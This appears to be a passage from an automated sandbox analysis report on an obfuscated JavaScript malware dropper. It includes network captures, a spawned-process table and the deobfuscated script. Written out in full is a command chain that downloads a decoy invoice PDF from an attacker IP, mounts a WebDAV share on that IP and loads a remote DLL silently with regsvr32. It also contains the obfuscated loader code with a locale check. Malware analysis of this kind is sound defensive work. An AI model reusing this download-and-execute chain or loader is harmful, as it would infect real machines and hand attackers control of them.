65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 02:25:10.013349056 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 02:25:10.013360023 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 02:25:10.013546944 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 11, 2025 02:25:10.013557911 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 11, 2025 02:25:10.013567924 CET	1236	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 11, 2025 02:25:10.013659000 CET	672	IN	Data Raw: df 71 fb ff 88 01 f0 15 5a f1 86 8c cf c0 27 13 43 3f 56 c5 d0 ab 3e 86 9e 15 63 e8 db 57 83 e1 50 f3 98 fd fd 37 5d 0c bd 0a 63 e8 49 8a a1 67 f7 12 43 6f 6e 9e e6 c7 86 3e 04 c7 86 12 43 b7 65 ea 9b 13 00 00 c0 34 f8 62 09 00 26 17 de 78 6b 9a Data Ascii: qZ'C?V>cWP7]cIgCon>Ce4b&xkKEK_BXG:a!9KSRDs/rWUK<Z[axj?P/xy5KoeSco1>'f,12Cn1KCumg
Jan 11, 2025 02:25:10.013669014 CET	1236	IN	Data Raw: ff 6d 63 e8 87 79 0c 3d 3d e9 62 e8 a5 c4 d0 ee d8 d0 26 86 3e a4 18 6a 8e 0d 6d ff 89 c9 a6 dc 0d 9b fa e6 04 00 00 30 0d be 58 02 80 09 f9 fb 6d f8 2d fa 30 51 3d e4 f7 5b 56 7e a3 7e d1 52 a0 33 41 d8 7d 74 f1 49 71 f3 b2 77 51 27 fd 62 1d 46 Data Ascii: mcy==b&>jm0Xm-0Q=[V~~R3A}tIqwQ'bFMs>d,Qlsj>US*r5+'BV`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(
Jan 11, 2025 02:25:10.013679981 CET	1236	IN	Data Raw: 3e 29 6b a6 fa b9 d7 7a df 7b e7 a4 bf 9f 7e 59 6a a3 52 45 73 49 34 8c 59 3e 83 16 86 f5 e4 6a 75 a2 3a e8 85 f3 aa e5 cb c8 25 51 53 69 73 13 97 85 ab 2a 8c d0 9a 41 d1 5c a5 35 13 73 66 90 b0 70 79 e6 da ca 97 97 2b 7a b9 82 56 d9 43 2b 4b 68 Data Ascii: >)kz{~YjREsI4Y>ju:%QSis*A\5sfpy+zVC+KhXs}}j6AC?P}Cf~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&
Jan 11, 2025 02:25:10.013739109 CET	1236	IN	Data Raw: 37 07 77 ce 63 e8 c9 ed 49 13 43 6f 24 86 1e a4 18 2a c3 a1 35 49 f4 7d 57 42 db 1d b9 6d 0c dd b7 31 f4 ec b4 f9 1d 2f e5 d8 d0 9b c7 79 0c e5 d8 d0 69 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 76 98 fb 6a 61 41 6e 79 21 6d ee bc cb d1 63 fe ca 3d 34 Data Ascii: 7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WD
Jan 11, 2025 02:25:10.018120050 CET	104	IN	Data Raw: 00 4c 83 2f 96 00 60 d3 cc 1d b5 66 2c 34 ec 3b 52 42 c3 f3 fe 84 3f 4d 32 dc 69 69 86 f2 f4 b1 7a 52 2b 72 a3 5b b9 06 94 26 07 65 14 ce 94 d0 d4 40 53 fd fc e6 9b 6f fe 47 f9 a6 95 aa e8 ec 97 cd 7e 71 1a 11 fd e9 a7 9f 52 1e 4a 2d 26 d7 43 25 Data Ascii: L/`f,4;RB?M2iizR+r[&e@SoG~qRJ-&C%*%Ex9rdO_Fnm

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.10	49727	193.143.1.205	8888	6944	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:25:11.705178976 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 02:25:12.521663904 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:25:12 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	4
Start time:	20:25:04
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5749110051971019035.js"
Imagebase:	0x7ff7d1560000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	20:25:05
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135652933629030.dll
Imagebase:	0x7ff64d990000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	20:25:05
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	20:25:05
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7b2bb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	20:25:10
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff64eb90000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	20:25:10
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff64d990000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	20:25:10
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7f0d40000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	20:25:11
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff63ec50000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	20:25:11
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7df220000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	20:25:11
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2136 --field-trial-handle=1580,i,2025617775236687807,10016802777393480840,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff63ec50000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function hwemeg() {	hwemeg() ➔ undefined
1	jdyryd = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var taoihmv = this[symyzk + hgcqcnah + vmdjx + ekdywhoo + qfwnisu + aguhxuwfh + dlnequbuu + gzkix] ( this[omymk + byawq + mkvbuba + vmdjx + qbobsn + symyzk + gzkix][sahjud + vmdjx + qfwnisu + hgcqcnah + gzkix + qfwnisu + fpfuul + uuhzh + mpwvsdro + qfwnisu + mkvbuba + gzkix] ( omymk + byawq + mkvbuba + vmdjx + qbobsn + symyzk + gzkix + kweaulfd + byawq + gwmsje + qfwnisu + sfbungg + sfbungg ) [lxzqdy + qfwnisu + umhxhwe + lxzqdy + qfwnisu + hgcqcnah + wclstkf] ( qqoktwp + fyczgitr + puimo + xkmctslj + qfglh + sahjud + zpvitm + lxzqdy + lxzqdy + puimo + veyeu + iuxrepu + qfglh + zpvitm + byawq + puimo + lxzqdy + tjkhr + sahjud + psljhq + dlnequbuu + gzkix + vmdjx + psljhq + sfbungg + malehsak + kndmm + hgcqcnah + dlnequbuu + qfwnisu + sfbungg + tjkhr + aguhxuwfh + dlnequbuu + gzkix + qfwnisu + vmdjx + dlnequbuu + hgcqcnah + gzkix + qbobsn + psljhq + dlnequbuu + hgcqcnah + sfbungg + tjkhr + plewcozjr + psljhq + mkvbuba + hgcqcnah + sfbungg + qfwnisu ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( sfmgi = 0 ; sfmgi < jdyryd[sfbungg + qfwnisu + dlnequbuu + umhxhwe + gzkix + gwmsje] ; ++ sfmgi )
4	{
5	if ( taoihmv == jdyryd[sfmgi] )
6	{
7	taoihmv = true;
8	break ;
9	}
10	}
11	if ( taoihmv !== true )
12	this[omymk + byawq + mkvbuba + vmdjx + qbobsn + symyzk + gzkix][grdbnuy + ftfqk + qbobsn + gzkix] ( );
13	this[omymk + byawq + mkvbuba + vmdjx + qbobsn + symyzk + gzkix][sahjud + vmdjx + qfwnisu + hgcqcnah + gzkix + qfwnisu + fpfuul + uuhzh + mpwvsdro + qfwnisu + mkvbuba + gzkix] ( omymk + byawq + mkvbuba + vmdjx + qbobsn + symyzk + gzkix + kweaulfd + byawq + gwmsje + qfwnisu + sfbungg + sfbungg ) [vmdjx + ftfqk + dlnequbuu] ( mkvbuba + ltmrybgn + wclstkf + malehsak + jeztneh + mkvbuba + malehsak + symyzk + psljhq + vfpir + qfwnisu + vmdjx + ekdywhoo + gwmsje + qfwnisu + sfbungg + sfbungg + kweaulfd + qfwnisu + ffvvj + qfwnisu + malehsak + apdyv + sahjud + psljhq + ltmrybgn + ltmrybgn + hgcqcnah + dlnequbuu + wclstkf + malehsak + hrkdcrj + aguhxuwfh + dlnequbuu + fszoi + psljhq + btlej + qfwnisu + apdyv + omymk + qfwnisu + uuhzh + lxzqdy + qfwnisu + rnsby + ftfqk + qfwnisu + ekdywhoo + gzkix + malehsak + apdyv + fpfuul + ftfqk + gzkix + srjzw + qbobsn + sfbungg + qfwnisu + malehsak + bjuchs + gzkix + qfwnisu + ltmrybgn + symyzk + bjuchs + tjkhr + qbobsn + dlnequbuu + fszoi + psljhq + qbobsn + mkvbuba + qfwnisu + kweaulfd + symyzk + wclstkf + egwvh + malehsak + gwmsje + gzkix + gzkix + symyzk + sobxu + jeztneh + jeztneh + opczmm + hwrdrqvm + tojend + kweaulfd + opczmm + sdbjlvzo + tojend + kweaulfd + opczmm + kweaulfd + uehqirfsf + cezeh + ixmpsovv + jeztneh + qbobsn + dlnequbuu + fszoi + psljhq + qbobsn + mkvbuba + qfwnisu + kweaulfd + symyzk + gwmsje + symyzk + hrkdcrj + hgasdmvd + hgasdmvd + ekdywhoo + gzkix + hgcqcnah + vmdjx + gzkix + malehsak + bjuchs + gzkix + qfwnisu + ltmrybgn + symyzk + bjuchs + tjkhr + qbobsn + dlnequbuu + fszoi + psljhq + qbobsn + mkvbuba + qfwnisu + kweaulfd + symyzk + wclstkf + egwvh + hgasdmvd + hgasdmvd + mkvbuba + ltmrybgn + wclstkf + malehsak + jeztneh + mkvbuba + malehsak + dlnequbuu + qfwnisu + gzkix + malehsak + ftfqk + ekdywhoo + qfwnisu + malehsak + tjkhr + tjkhr + opczmm + hwrdrqvm + tojend + kweaulfd + opczmm + sdbjlvzo + tojend + kweaulfd + opczmm + kweaulfd + uehqirfsf + cezeh + ixmpsovv + fwgdwv + tgmap + tgmap + tgmap + tgmap + tjkhr + wclstkf + hgcqcnah + fszoi + vfpir + vfpir + vfpir + vmdjx + psljhq + psljhq + gzkix + tjkhr + hgasdmvd + hgasdmvd + mkvbuba + ltmrybgn + wclstkf + malehsak + jeztneh + mkvbuba + malehsak + vmdjx + qfwnisu + umhxhwe + ekdywhoo + fszoi + vmdjx + tojend + uehqirfsf + malehsak + jeztneh + ekdywhoo + malehsak + tjkhr + tjkhr + opczmm + hwrdrqvm + tojend + kweaulfd + opczmm + sdbjlvzo + tojend + kweaulfd + opczmm + kweaulfd + uehqirfsf + cezeh + ixmpsovv + fwgdwv + tgmap + tgmap + tgmap + tgmap + tjkhr + wclstkf + hgcqcnah + fszoi + vfpir + vfpir + vfpir + vmdjx + psljhq + psljhq + gzkix + tjkhr + opczmm + tojend + ixmpsovv + cjoii + ixmpsovv + uehqirfsf + hwrdrqvm + tojend + tojend + cjoii + uehqirfsf + hwrdrqvm + cezeh + tojend + cezeh + kweaulfd + wclstkf + sfbungg + sfbungg, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135652933629030.dll",0,false) ➔ 0
14	}
15	btlej = "D";
16	btlej = "b";
17	btlej = "k";
18	omymk = "O";
19	omymk = "z";
20	omymk = "A";
21	omymk = "P";
22	omymk = "d";
23	omymk = "n";
24	omymk = "W";
25	omymk = "p";
26	omymk = "m";
27	omymk = "A";
28	omymk = "w";
29	omymk = "F";
30	omymk = "k";
31	omymk = "Z";
32	omymk = "G";
33	omymk = "U";
34	omymk = "h";
35	omymk = "x";
36	omymk = "V";
37	omymk = "U";
38	omymk = "h";
39	omymk = "S";
40	omymk = "Q";
41	omymk = "W";
42	fpfuul = "U";
43	fpfuul = "p";
44	fpfuul = "b";
45	fpfuul = "e";
46	fpfuul = "w";
47	fpfuul = "D";
48	fpfuul = "E";
49	fpfuul = "f";
50	fpfuul = "D";
51	fpfuul = "h";
52	fpfuul = "J";
53	fpfuul = "Z";
54	fpfuul = "Q";
55	fpfuul = "O";
56	uuhzh = "z";
57	uuhzh = "o";
58	uuhzh = "Z";
59	uuhzh = "v";
60	uuhzh = "F";
61	uuhzh = "f";
62	uuhzh = "S";
63	uuhzh = "t";
64	uuhzh = "O";
65	uuhzh = "R";
66	uuhzh = "f";
67	uuhzh = "v";
68	uuhzh = "r";
69	uuhzh = "k";
70	uuhzh = "L";
71	uuhzh = "t";
72	uuhzh = "k";
73	uuhzh = "d";
74	uuhzh = "D";
75	uuhzh = "G";
76	uuhzh = "c";
77	uuhzh = "b";
78	uuhzh = "o";
79	uuhzh = "S";
80	uuhzh = "H";
81	uuhzh = "W";
82	uuhzh = "D";
83	uuhzh = "M";
84	uuhzh = "J";
85	uuhzh = "k";
86	uuhzh = "o";
87	uuhzh = "v";
88	uuhzh = "w";
89	uuhzh = "o";
90	uuhzh = "h";
91	uuhzh = "G";
92	uuhzh = "G";
93	uuhzh = "j";
94	uuhzh = "u";
95	uuhzh = "X";
96	uuhzh = "b";
97	byawq = "c";
98	byawq = "f";
99	byawq = "y";
100	byawq = "q";
101	byawq = "A";
102	byawq = "x";
103	byawq = "j";
104	byawq = "R";
105	byawq = "X";
106	byawq = "S";
107	ixmpsovv = "T";
108	ixmpsovv = "m";
109	ixmpsovv = "y";
110	ixmpsovv = "I";
111	ixmpsovv = "5";
112	hrkdcrj = "o";
113	hrkdcrj = "L";
114	hrkdcrj = "g";
115	hrkdcrj = "A";
116	hrkdcrj = "h";
117	hrkdcrj = "v";
118	hrkdcrj = "p";
119	hrkdcrj = "r";
120	hrkdcrj = "G";
121	hrkdcrj = "T";
122	hrkdcrj = "k";
123	hrkdcrj = "o";
124	hrkdcrj = "E";
125	hrkdcrj = "q";
126	hrkdcrj = "Y";
127	hrkdcrj = "V";
128	hrkdcrj = "L";
129	hrkdcrj = "H";
130	hrkdcrj = "W";
131	hrkdcrj = "T";
132	hrkdcrj = "g";
133	hrkdcrj = "G";
134	hrkdcrj = "u";
135	hrkdcrj = "f";
136	hrkdcrj = "K";
137	hrkdcrj = "O";
138	hrkdcrj = "K";
139	hrkdcrj = "w";
140	hrkdcrj = "w";
141	hrkdcrj = "a";
142	hrkdcrj = "w";
143	hrkdcrj = "b";
144	hrkdcrj = "B";
145	hrkdcrj = "H";
146	hrkdcrj = "f";
147	hrkdcrj = "C";
148	hrkdcrj = "l";
149	hrkdcrj = "i";
150	hrkdcrj = "j";
151	hrkdcrj = "S";
152	hrkdcrj = "\"";
153	uehqirfsf = "y";
154	uehqirfsf = "t";
155	uehqirfsf = "w";
156	uehqirfsf = "s";
157	uehqirfsf = "P";
158	uehqirfsf = "P";
159	uehqirfsf = "K";
160	uehqirfsf = "u";
161	uehqirfsf = "a";
162	uehqirfsf = "H";
163	uehqirfsf = "a";
164	uehqirfsf = "S";
165	uehqirfsf = "r";
166	uehqirfsf = "O";
167	uehqirfsf = "M";
168	uehqirfsf = "n";
169	uehqirfsf = "R";
170	uehqirfsf = "U";
171	uehqirfsf = "U";
172	uehqirfsf = "S";
173	uehqirfsf = "r";
174	uehqirfsf = "J";
175	uehqirfsf = "Q";
176	uehqirfsf = "T";
177	uehqirfsf = "P";
178	uehqirfsf = "y";
179	uehqirfsf = "G";
180	uehqirfsf = "e";
181	uehqirfsf = "r";
182	uehqirfsf = "h";
183	uehqirfsf = "m";
184	uehqirfsf = "X";
185	uehqirfsf = "a";
186	uehqirfsf = "a";
187	uehqirfsf = "O";
188	uehqirfsf = "E";
189	uehqirfsf = "Q";
190	uehqirfsf = "y";
191	uehqirfsf = "g";
192	uehqirfsf = "h";
193	uehqirfsf = "f";
194	uehqirfsf = "l";
195	uehqirfsf = "J";
196	uehqirfsf = "o";
197	uehqirfsf = "2";
198	cezeh = "M";
199	cezeh = "x";
200	cezeh = "B";
201	cezeh = "F";
202	cezeh = "f";
203	cezeh = "B";
204	cezeh = "G";
205	cezeh = "u";
206	cezeh = "C";
207	cezeh = "o";
208	cezeh = "t";
209	cezeh = "d";
210	cezeh = "y";
211	cezeh = "W";
212	cezeh = "S";
213	cezeh = "B";
214	cezeh = "w";
215	cezeh = "w";
216	cezeh = "u";
217	cezeh = "J";
218	cezeh = "W";
219	cezeh = "G";
220	cezeh = "A";
221	cezeh = "C";
222	cezeh = "u";
223	cezeh = "b";
224	cezeh = "M";
225	cezeh = "S";
226	cezeh = "h";
227	cezeh = "0";
228	gzkix = "C";
229	gzkix = "z";
230	gzkix = "c";
231	gzkix = "I";
232	gzkix = "f";
233	gzkix = "L";
234	gzkix = "k";
235	gzkix = "L";
236	gzkix = "K";
237	gzkix = "L";
238	gzkix = "d";
239	gzkix = "S";
240	gzkix = "V";
241	gzkix = "n";
242	gzkix = "M";
243	gzkix = "O";
244	gzkix = "b";
245	gzkix = "h";
246	gzkix = "S";
247	gzkix = "Z";
248	gzkix = "m";
249	gzkix = "b";
250	gzkix = "l";
251	gzkix = "R";
252	gzkix = "l";
253	gzkix = "W";
254	gzkix = "f";
255	gzkix = "r";
256	gzkix = "t";
257	qqoktwp = "I";
258	qqoktwp = "i";
259	qqoktwp = "h";
260	qqoktwp = "o";
261	qqoktwp = "i";
262	qqoktwp = "u";
263	qqoktwp = "A";
264	qqoktwp = "T";
265	qqoktwp = "B";
266	qqoktwp = "c";
267	qqoktwp = "A";
268	qqoktwp = "E";
269	qqoktwp = "K";
270	qqoktwp = "z";
271	qqoktwp = "H";
272	mkvbuba = "F";
273	mkvbuba = "Q";
274	mkvbuba = "a";
275	mkvbuba = "k";
276	mkvbuba = "T";
277	mkvbuba = "L";
278	mkvbuba = "z";
279	mkvbuba = "C";
280	mkvbuba = "U";
281	mkvbuba = "U";
282	mkvbuba = "y";
283	mkvbuba = "O";
284	mkvbuba = "n";
285	mkvbuba = "v";
286	mkvbuba = "K";
287	mkvbuba = "W";
288	mkvbuba = "L";
289	mkvbuba = "y";
290	mkvbuba = "u";
291	mkvbuba = "c";
292	mpwvsdro = "U";
293	mpwvsdro = "K";
294	mpwvsdro = "v";
295	mpwvsdro = "W";
296	mpwvsdro = "c";
297	mpwvsdro = "f";
298	mpwvsdro = "j";
299	apdyv = "y";
300	apdyv = "Z";
301	apdyv = "o";
302	apdyv = "l";
303	apdyv = "N";
304	apdyv = "z";
305	apdyv = "F";
306	apdyv = "g";
307	apdyv = "P";
308	apdyv = "k";
309	apdyv = "I";
310	apdyv = "P";
311	apdyv = "h";
312	apdyv = "c";
313	apdyv = "-";
314	hgasdmvd = "C";
315	hgasdmvd = "s";
316	hgasdmvd = "R";
317	hgasdmvd = "m";
318	hgasdmvd = "N";
319	hgasdmvd = "l";
320	hgasdmvd = "d";
321	hgasdmvd = "H";
322	hgasdmvd = "w";
323	hgasdmvd = "z";
324	hgasdmvd = "i";
325	hgasdmvd = "b";
326	hgasdmvd = "a";
327	hgasdmvd = "S";
328	hgasdmvd = "y";
329	hgasdmvd = "g";
330	hgasdmvd = "i";
331	hgasdmvd = "n";
332	hgasdmvd = "n";
333	hgasdmvd = "P";
334	hgasdmvd = "s";
335	hgasdmvd = "&";
336	tjkhr = "i";
337	tjkhr = "D";
338	tjkhr = "O";
339	tjkhr = "u";
340	tjkhr = "T";
341	tjkhr = "g";
342	tjkhr = "w";
343	tjkhr = "R";
344	tjkhr = "F";
345	tjkhr = "m";
346	tjkhr = "U";
347	tjkhr = "a";
348	tjkhr = "Q";
349	tjkhr = "g";
350	tjkhr = "P";
351	tjkhr = "Y";
352	tjkhr = "x";
353	tjkhr = "X";
354	tjkhr = "q";
355	tjkhr = "F";
356	tjkhr = "K";
357	tjkhr = "s";
358	tjkhr = "G";
359	tjkhr = "t";
360	tjkhr = "V";
361	tjkhr = "r";
362	tjkhr = "Q";
363	tjkhr = "k";
364	tjkhr = "A";
365	tjkhr = "F";
366	tjkhr = "h";
367	tjkhr = "Q";
368	tjkhr = "B";
369	tjkhr = "c";
370	tjkhr = "\\";
371	kndmm = "H";
372	kndmm = "C";
373	kndmm = "K";
374	kndmm = "o";
375	kndmm = "q";
376	kndmm = "t";
377	kndmm = "x";
378	kndmm = "J";
379	kndmm = "Z";
380	kndmm = "X";
381	kndmm = "l";
382	kndmm = "z";
383	kndmm = "B";
